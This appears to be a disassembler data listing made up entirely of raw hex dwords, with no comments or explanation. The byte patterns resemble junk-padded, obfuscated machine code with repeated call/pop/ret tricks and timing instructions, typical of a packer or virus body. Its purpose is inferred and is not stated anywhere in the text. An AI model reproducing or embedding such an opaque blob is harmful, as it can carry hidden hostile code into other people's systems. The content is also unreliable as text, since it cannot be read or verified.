		dd 1000106h, 52509600h,	0A3BF5250h, 0F392C3Dh, 5A5F5031h
		dd 50310F58h, 44E4BB52h, 310F664Ch, 585A585Ah, 95899650h
		dd 6482D71h, 0B92CB5FFh, 95FF064Bh, 6481D59h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0E4C35343h, 0B708091Dh
		dd 20B58B8Bh, 6A064BB9h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 6FB2C357h, 5673206Bh
		dd 0D38166CAh, 9D0B5720h, 6482F01h, 1049858Bh, 58BF0648h
		dd 894580BCh, 0C486h, 0F9A3BF00h, 958B40A7h, 6480A19h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0ABC35343h
		dd 493E19F5h, 81E5D2CCh, 9440BBE7h, 4C28343h, 26E99D89h
		dd 50890648h, 840F20h, 8D000000h, 4BCE0985h, 0C59D2906h
		dd 89064823h, 0B886h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 5FE38BB4h, 0FBC55CBh
		dd 0B589D8BFh, 6482AA1h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 8940F0C3h, 482EE98Dh
		dd 2CB5FF06h, 6A064BB9h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 0FEEDC351h,	752260E3h
		dd 95FF8339h, 64823E1h,	30359D8Bh, 0E9960648h, 0Ah, 2C4B2726h
		dd 0A75B3616h, 0E9502057h, 0Bh,	2FF63C35h, 3DD48716h, 96FBCB25h
		dd 227D9D8Bh, 0B5FF0648h, 64BB92Ch, 2BB19589h, 8E0F0648h
		dd 0
		dd 0E2D95FFh, 6A0648h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 7F950CC3h, 0C9BC9DFEh, 83337D53h
		dd 481CA1BDh, 840F0006h, 10h, 575054B7h, 5BDF8B66h, 0BF243489h
		dd 0CB88AC0h, 0B92CB5FFh, 6A064Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 55B9FCC3h, 0F7AA0652h
		dd 7FF38166h, 1995FF22h, 6A064827h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 217BC350h
		dd 8B73F8D7h, 482B399Dh, 2CB5FF06h, 51064BB9h, 1F991DBBh
		dd 95FF5B11h, 6480B41h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 0EBC35141h, 0EB14288Bh, 0CCDBD83h, 0F020648h
		dd 5C84h, 0ED858900h, 8B064808h, 480FD585h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0D4A2D0B0h, 5DBD896Eh, 0C6064818h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0CD4F7FC3h, 31FC57B6h, 482BC9B5h, 6985C706h,	6480Eh
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 9F8EC350h, 5E825h, 8DB20000h
		dd 6689C762h, 0E95BFA8Bh, 0FFFFF456h, 0BE8h, 551A7700h
		dd 93FD6935h, 0F927B4CEh, 8B5BDA8Bh, 0DFBF0FC1h, 32FD858Dh
		dd 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 0A1FEBBC3h, 8960FACEh, 481BD995h,	6FBF6106h
		dd 661A6F8Dh, 905CD4BBh, 50FE8B66h, 50006A90h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0BF0FD148h
		dd 6A006ADEh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 3492C353h, 2926858h, 89E5334Ch
		dd 482BD1B5h, 6A006A06h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0E623C355h,	0BD121AA2h
		dd 0BD8B4FD5h, 6480659h, 0E0DD858Dh, 6A064Ch, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 540A1C3h
		dd 42F9A804h, 0C083D048h, 599D8905h, 9006482Ah,	50DE8B66h
		dd 6A86BB66h, 19852990h, 6A064821h, 89606000h, 482DB1BDh
		dd 65958B06h, 6106482Ah, 7AA0D281h, 6A6165FBh, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 0E990FA3Eh, 9, 1E8E65AFh, 8B7B2E25h,	7D95FF18h, 8B064827h
		dd 0FEB70FDEh, 9C148D8Dh, 0BD8B064Bh, 64814D9h,	0BD8BD1FFh
		dd 64818C1h, 1949BD83h,	0F010648h, 5785h, 7E900h, 67B20000h
		dd 0A66D42FCh, 3DBD8BFDh, 6A064830h, 4895002h, 0DE924h
		dd 0DC580000h, 0BA8E8909h, 0DEFAE468h, 0FF50BA26h, 4823E195h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 0EC2C1FEh, 0B58910CFh, 6481EBDh,	0D78E9h
		dd 0E800h, 815D0000h, 4CE0E7EDh, 0B5BD8906h, 6A06480Dh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8B1EC352h, 481EFDBDh, 0F88B6606h,	9744858Dh
		dd 6A064Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0F950D6C3h, 0B4EF9E5Ah, 0FA8B3C96h, 90D98B66h
		dd 90D98A50h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 14h,	77C35646h, 0AE9h, 9EDCD700h, 7AF27F79h,	6497FFEDh
		dd 35FFh, 0BD8B0000h, 6480539h,	258964h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 0D6BDC355h, 0A3324C73h, 88EC8B5Fh, 2931B589h, 85FF0648h
		dd 6480A2Dh, 2E85B589h,	9D8B0648h, 6483119h, 6AFF6Ah, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 8D89E9C3h, 6482B59h,	26E5B5FFh, 6A0648h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 9BE18C3h
		dd 9E3AAA6Bh, 0E939A0CFh, 0Dh, 0C9D18EEEh, 38530E1Eh, 0DCC8C5B2h
		dd 53F56019h, 10319D89h, 615E0648h, 0AA595FFh, 0CCE90648h
		dd 8B000000h, 482A19BDh, 0B700B006h, 3370E616h,	482A959Dh
		dd 2371E406h, 481D459Dh, 0F613C06h, 0AA83h, 0C8B60F00h
		dd 0BAD98B66h, 6, 7BE78166h, 0FC18BC7h,	686h, 198D8900h
		dd 0C1064805h, 0BD8B04E8h, 64822C9h, 29E2F766h,	4824F9BDh
		dd 8BC82B06h, 480D319Dh, 1D18B06h, 482C0DBDh, 87BB6606h
		dd 61E98Bh, 0C7800000h,	44858B5Fh, 0F95F4C4Ch, 8307C083h
		dd 816000C0h, 9F00DFF3h, 61D88B4Ah, 830FD03Bh, 11h, 30D5BD8Bh
		dd 34E90648h, 0B000000h, 4814BD9Dh, 0FF8D8B06h,	8BFFFFFFh
		dd 4815919Dh, 1E18306h,	19840Fh, 8B660000h, 0FFA583FAh
		dd 0FEFFFFFFh, 442EBF66h, 4C449589h, 0E95F4Ch, 8D000000h
		dd 4C6399B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 1CA08C70h, 9D0194BFh, 6480EF5h, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0F471E9C3h, 2B85B6BBh, 0FF79EFD9h, 48306195h, 25BD0B06h
		dd 0B906482Ah, 0F12h, 19459D8Bh, 0E1830648h, 57006AFCh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 11A14BEAh, 68B0Fh, 9D890000h, 64809C9h, 0AD9529FCh
		dd 0B8064809h, 0
		dd 20C9B589h, 0BA0648h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 8857C352h
		dd 7FBA8FC7h, 860F354Dh, 0
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 7DC35545h, 2A62AE2Dh, 0D9BF0FFCh
		dd 326DBD8Bh, 880D0648h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0C796C355h
		dd 0C65EB8BDh, 6E59D89h, 958B0648h, 6480A19h, 5E9h, 8B626900h
		dd 8D8B1301h, 6480F35h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 7FC35242h, 0BB1B1978h, 21556E8Fh, 9D0960A9h
		dd 6482EF5h, 8D0F53h, 59000000h, 5E961h, 41DC0000h, 50EAB2E7h
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	0DBD8958h
		dd 66064815h, 83E276BBh, 4819A5BDh, 840F0006h, 91h, 1A01BD8Bh
		dd 0B80648h, 6A000000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 8184C356h, 8D72D060h
		dd 484B648Dh, 0BE806h, 897F0000h, 8B77BD54h, 0A8E6F944h
		dd 5E87Bh, 60FF0000h, 0FD17FAEh, 85h, 0E95F5F00h, 0Dh
		dd 100A1A2Ah, 0A9F794A2h, 9C793D40h, 6AE1FF31h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0C542C351h, 1DCCA2D8h, 89FBCA61h, 481BB9B5h,	25BD8306h
		dd 64824h, 40A840Fh, 5B520000h,	2425BD83h, 0F010648h, 41684h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 8A229FD5h, 6E8h,	0D628CD00h, 29E8B570h
		dd 48150D9Dh, 0BD835F06h, 6482425h, 0A2860F03h,	0F000003h
		dd 6A60D9B7h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 51ACC352h, 24D9531h, 665B0648h
		dd 0BF66D98Ch, 0E1808AD8h, 0A870F04h, 0E9000000h, 5, 8AC60CC0h
		dd 870F6003h, 0
		dd 307D9509h, 0A610648h, 6A840FC9h, 89000001h, 482B9D8Dh
		dd 599D8906h, 8B06482Bh, 48238585h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 7B92ED3h, 8533FA8Bh
		dd 6482AC9h, 4870Fh, 0BF660000h, 0BB90F741h, 10EB59CFh
		dd 76BF6650h, 6A9092h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 7F5E43C3h, 0A423BF01h, 14E83E7Ch
		dd 1C000000h, 0E3B72DDCh, 0AA785AEBh, 73ABE989h, 5D4089F3h
		dd 0F3EBF26h, 6A5FFAB7h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0E2C026D4h, 13E960CBh
		dd 4E000000h, 0C547FCDAh, 82FF728Bh, 0CED6CE05h, 8077AC21h
		dd 0C8B1FC62h, 699D8961h, 0E8064830h, 4, 1F03FFh, 8E8h
		dd 1DE2AA00h, 54B78827h, 880F5713h, 0
		dd 66505F5Bh, 8BE456BBh, 8B042444h, 895F5200h, 66042444h
		dd 587C7ABBh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Ah,	0E3C35141h, 0D30243FAh,	870F6E1Dh, 0Ah,	48E0Fh
		dd 0BB660000h, 95FF761Ch, 6481C01h, 6E9h, 385D4A00h, 9F6688Ch
		dd 48104D9Dh, 2C858906h, 51064BB9h, 895F3FB7h, 48158985h
		dd 172E906h, 0BF0F0000h, 24858BDEh, 0E9064BB9h,	0Bh, 64CDE575h
		dd 270E6A1Fh, 0C73A6563h, 1800h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0FB360DAh
		dd 0B173019h, 28B58BD7h, 6A064BB9h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0E97EC350h
		dd 0AA44A6C2h, 858BB09Dh, 6482BF1h, 19699531h, 9D0B0648h
		dd 6480CD5h, 9D8B0689h,	6480AD1h, 85858BF8h, 80064823h
		dd 468915D7h, 0DCEB8004h, 50DF8B96h, 0FE9h, 12847D00h
		dd 0D92D9677h, 0F19DC549h, 0A40B5632h, 56006A96h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
		dd 7BBFBA42h, 0FF287F97h, 4BB924B5h, 742F6806h,	0F88B776Ch
		dd 0D0243481h, 6A777377h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0B903C352h,	65BD8942h
		dd 8D06482Ch, 4BB92C85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 30F62C5h, 480AB19Dh, 0FA8B5006h
		dd 89240489h, 482BEDBDh, 195FF06h, 6A06481Ch, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 8967C357h, 725DB46Ch, 68C0Fh, 8D010000h, 6481BD9h, 56006A61h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0FD4E3D2h, 280h, 66D98B00h, 85C7D98Bh, 6482425h, 3
		dd 2DBD9D8Bh, 0BD830648h, 64BB92Ch, 2A840F00h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0E8D3C353h, 21E96156h, 8B000000h,	481E959Dh
		dd 0C305006h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	89C35040h, 0E47CCAB8h, 95E868DEh, 5D9531A3h, 0BB06481Bh
		dd 342DA753h, 31F19D8Bh, 0BD830648h, 6482425h, 60850F03h
		dd 81000004h, 409AAEBh,	2CBD834Ah, 64BB9h, 44D840Fh, 0EE80000h
		dd 2B000000h, 5678761Dh, 0E7864B71h, 1C5BD5A1h,	8B0F68h
		dd 5F000000h, 0B92CB5FFh, 9D29064Bh, 6480CC5h, 0E3595FFh
		dd 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 8B57AEC3h, 481B1D9Dh, 0F3BF5F06h,	8B7798A1h
		dd 4BB920B5h, 699D2906h, 0C706481Ah, 1000106h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 2BE37785h, 8B9A7BEFh, 0F5796FBh, 687h, 0F525000h, 5B585A31h
		dd 6E95050h, 0CF000000h, 99F81D8Dh, 6A965F55h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 66B9C355h, 0B5FF90BAh, 64BB92Ch, 0AE9h, 3FABB500h, 218C9F1Fh
		dd 8909AEC2h, 48285985h, 5995FF06h, 0F06481Dh, 0BD89FAB7h
		dd 6480511h, 0B920B58Bh, 0EE8064Bh, 0A5000000h,	0AD206501h
		dd 0A83A8465h, 0E1A9265Fh, 5E968h, 0F0A00000h, 5F257CC1h
		dd 8BDEB70Fh, 48104985h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 74583094h, 970E9A21h
		dd 86893F16h, 0C4h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 4AC35141h, 1CBD03D2h,	5733562Ah, 518D29h
		dd 958B0648h, 6480A19h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 49C35242h, 0BFD9CF4Dh, 5BB8743Ah, 6A04C283h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 5910C353h, 0C53C2A4h, 0E7B61DEBh,	2555BD01h
		dd 50890648h, 55006A20h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 0A117167Fh, 6820Fh, 9D330000h, 6483109h
		dd 0FC2BEB81h, 858D3555h, 64BCE09h, 2BF58D01h, 9D8B0648h
		dd 6482AD5h, 0B88689h, 6AF80000h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 69FF5F37h
		dd 4DBD8BE7h, 8B064815h, 48227DBDh, 2CB5FF06h, 6A064BB9h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0F5F7C357h, 0FF57F4CDh, 4823E195h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 50A00688h, 6A243489h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 5338C353h, 0D39EB622h
		dd 0FA7B799h, 884h, 2870F00h, 0B3000000h, 2CB5FF3Eh, 6A064BB9h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 0B7D4C355h, 2D95FF0Bh, 8906480Eh,	481839B5h
		dd 0A1BD8306h, 6481Ch, 2A840Fh,	9D890000h, 6481CBDh, 0B7BF6696h
		dd 10E850A9h, 0B000000h, 5B981C6Bh, 6213BFB1h, 1EB9A71Dh
		dd 0B302587Eh, 0BF965BB8h, 30D90D6h, 0B92CB5FFh, 6A064Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 3CDCAC3h, 0B768BBA6h, 47BF6644h, 1995FF2Dh, 0FF064827h
		dd 4BB92CB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 0B3E37FF0h, 0DA8B6600h, 0B4195FFh
		dd 6A0648h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0B58954C3h, 6482B89h, 0CCDBD83h, 0F020648h
		dd 6184h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 0F324B9CDh, 2BDAA768h, 85953104h
		dd 8B064800h, 480FD585h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 0B0665FE8h, 8B6A0BCCh
		dd 482521BDh, 0C606h, 6E18D89h,	85C70648h, 6480E69h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 8FC35141h
		dd 5D590BB1h, 0E9DAB70Fh, 0FFFFF37Ch, 272D9D89h, 0C18B0648h
		dd 0B573BBBBh, 0FD858D6Ah, 6A064832h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 9026C350h
		dd 0A8B0Fh, 52500000h, 7CB2BF66h, 585A310Fh, 90FB8B50h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0CBC35040h
		dd 8150FC93h, 0DF8804CFh, 6A5B48h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 0D9C35646h,	70BA460Dh, 6A21DBA9h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 7310E141h, 4A858DC6h, 56064CF0h,	5C0835Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0F9C35545h
		dd 9E4CEBBh, 0F234BF74h, 66502531h, 894AE2BBh, 9D012404h
		dd 64800B9h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 0BA9E7FC3h, 0E8A26718h, 9, 686EB86Dh
		dd 977ABC58h, 5B5AB7A2h, 6AF9BF0Fh, 5E800h, 936B0000h
		dd 2947E7BCh, 480DD195h, 0DC8A5B06h, 277D95FFh,	9D890648h
		dd 6480EC9h, 1B85BD29h,	8D8D0648h, 64B9C14h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 31C35646h, 0BD83D1FFh
		dd 6481949h, 7E850F01h,	6A000000h, 0BD2BFC02h, 6480585h
		dd 0FE890h, 2E3A0000h, 0AEE13742h, 5245466Eh, 91323AD6h
		dd 0CCE0BB7Ch, 505B5DB3h, 7D03BF66h, 50006A90h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 6692444Eh
		dd 0FF4ECE8Dh, 4823E195h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0E40EE9D2h
		dd 6890F10h, 8B000000h,	481F159Dh, 0DBDE906h, 0E80000h
		dd 5D000000h, 0F054ED81h, 0BF0F064Ch, 952960D9h, 6482CF5h
		dd 2B498523h, 6A610648h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0BDFDC351h,	68C0Fh
		dd 0BD8B0000h, 6482525h, 9744858Dh, 9D89064Bh, 6482D09h
		dd 6E950h, 0A8790000h, 0ED976B14h, 0E9240489h, 9, 9BBC073Ch
		dd 0F241562h, 35FF6400h, 0
a5di		db '╥5d┴%',0
		align 4
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 0A0EC8334h, 9E9h, 20AF1900h, 0C09A3B17h
		dd 85FF98D6h, 6480A2Dh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 1CC35040h, 7189829Bh,	0B4829C94h, 0EE8h
		dd 265E9800h, 0B47E623Ah, 0CC9F5F17h, 0BFBE5DC8h, 1B55909Ah
		dd 6AFF6A5Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0C3BFC355h, 0F28DC2E6h, 0BD890550h
		dd 64819A9h, 25F5B5FFh,	6A0648h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0D1B816C3h, 0EB50D833h
		dd 10E9FE31h, 0B0000000h, 0F67F5D3Bh, 8A7B7F38h, 24F49CA6h
		dd 66E2348Ch, 0FFDCB4BFh, 480AA595h, 12CE906h, 0F88B0000h
		dd 852900B0h, 6483035h,	958970E6h, 6482AB9h, 606071E4h
		dd 880Fh, 858B0000h, 64826CDh, 95296161h, 64821E1h, 830F613Ch
		dd 0FAh, 24AD8D89h, 0B60F0648h,	3FB960C8h, 66405B20h, 0BA61C18Bh
		dd 6, 8D8D09h, 0C18B0648h, 8904E8C1h, 481BADB5h, 0E2F76606h
		dd 799D8B60h, 8B06482Ch, 4809C99Dh, 0C82B6106h,	1D39BD8Bh
		dd 85890648h, 6481BE5h,	0BF66D18Bh, 0A7E9F49Ah,	0F000000h
		dd 68Dh, 2DBD3100h, 8B064821h, 554C5085h, 0B5296047h, 6480629h
		dd 0F43BA66h, 7C08361h,	10C59D8Bh, 0C0830648h, 9DBD8B00h
		dd 3B06481Bh, 30830FD0h, 0F000000h, 682h, 199D0300h, 0E906482Eh
		dd 5Eh,	0DE8h, 0FD4A9100h, 0AC862EF6h, 0A09E05D2h, 800F723Eh
		dd 6, 0F19D89h,	8B5B0648h, 0FFFFFF8Dh, 45B509FFh, 8306482Bh
		dd 840F01E1h, 2Ah, 68C0Fh, 0BD8B0000h, 64825F9h, 0FFFFA583h
		dd 8BFEFFFFh, 4819559Dh, 50958906h, 2947554Ch, 482C9D85h
		dd 0E906h, 0B58D0000h, 64C72ABh, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 18h, 3BC35545h, 22589EADh, 6850Fh
		dd 8D890000h, 6480A65h,	0BD89006Ah, 648259Dh, 306195FFh
		dd 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0CF0EC2C3h, 66153110h, 6B9AEB81h,	0EFAB9h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 0DF8B6660h, 50FCE183h, 0FC5FD98Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0A7C35141h, 0DBFD6126h
		dd 4880BB66h, 6AC02BF8h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 1AA8C350h, 8B66EF80h
		dd 68DEBFF9h, 0BA7999h,	0E9000000h, 0Dh, 42957138h, 5510F34Ch
		dd 0F0807573h, 0C233ADE1h, 0D003E8D1h, 7504E983h, 0D9BD89F4h
		dd 6606480Ah, 0D0577BFh, 88h, 27B19D03h, 958B0648h, 6480A19h
		dd 6341BB53h, 0BB5F1DA2h, 48655870h, 0F358D8Bh,	6A0648h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0FDCC82C3h, 6AAABB58h, 0BD0B1D6Bh, 6482AB5h,	8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0D7245DC3h
		dd 3A471BC5h, 86BD5BBh,	53006A6Bh, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 662D85A8h, 215CF81h, 0BD83BEB3h
		dd 64819A5h, 87840F00h,	29000000h, 482EDD9Dh, 14E906h
		dd 7D300000h, 0BAE18B82h, 4CCD5DD1h, 6F139AC4h,	0DBD7A22h
		dd 0B84762h, 6A000000h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 7DD6C355h, 86C0EAD8h
		dd 5D959ADEh, 4B648D8Dh, 0BD090648h, 64827DDh, 6AE1FFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 18F866C3h, 66338215h, 0B589DF8Bh, 648310Dh, 30759D89h
		dd 0BD830648h, 6482425h, 17840F00h, 0E9000004h,	0Ah, 1D195246h
		dd 98FE002Ch, 0BD83669Dh, 6482425h, 16840F01h, 83000004h
		dd 482425BDh, 860F0306h, 3D3h, 29BD8B60h, 8B064801h, 481569B5h
		dd 0DC8A6106h, 9E960h, 0F1E80000h, 730BE397h, 660FCF53h
		dd 6AD98Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 16F994C3h, 0EECFACD9h, 6860Fh, 0BD230000h
		dd 64825D1h, 6A04E180h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0B3C1C352h,	0D49C869Eh
		dd 5CE4CAB0h, 5E8h, 0EFCFB300h,	8B500F1Fh, 4814ADBDh, 0A5F5F06h
		dd 2E840FC9h, 66000001h, 65DDF381h, 2385858Bh, 85330648h
		dd 6482AC9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	7CC35343h, 203C3F12h, 7E6A2F5Ah, 0CFBB6690h, 239050D5h
		dd 482DA1BDh, 66006A06h, 4E8F98Bh, 0FF000000h, 50001F03h
		dd 66525052h, 0FCD3FBBh, 0F585A31h, 17A7BB31h, 585A2B89h
		dd 8BDBB350h, 66042444h, 8BFB8Bh, 0F38B6660h, 0C58A5250h
		dd 0AE8310Fh, 9000000h,	0AA3CE9B0h, 24D5B0C5h, 585A5ECFh
		dd 24448961h, 6800F04h,	53000000h, 0BB7BF66h, 6A585Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 4EF007C3h, 0F00750E4h, 820FE44Eh, 3,	89D8BF0Fh, 4822459Dh
		dd 195FF06h, 6A06481Ch,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 9FB4C351h, 901315CBh
		dd 2C8589E4h, 6A064BB9h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0D3F1C357h,	1FCCE47Ah
		dd 0E96AFE42h, 1AFh, 5B09F9BFh,	24858B43h, 8B064BB9h, 480009BDh
		dd 6890F06h, 8B000000h,	482A99BDh, 1800C706h, 0E8000000h
		dd 13h,	0BAA86F79h, 0EB6D19C2h,	8EB5E6FCh, 28BA4E2Eh, 2976508Dh
		dd 482D298Dh, 0B58B5F06h, 64BB928h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0D3C35242h,	8CCAE837h, 0D94EDFE2h
		dd 0D9218BBh, 0DF8B663Ah, 2BF1858Bh, 6A0648h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0F8C881C3h
		dd 0B70F6F9Ah, 6A0689FFh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 7BFFC350h, 1372970Ah
		dd 0E7A1D07h, 85858BF9h, 3064823h, 482111BDh, 0E9BD2906h
		dd 8906480Dh, 6A0446h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
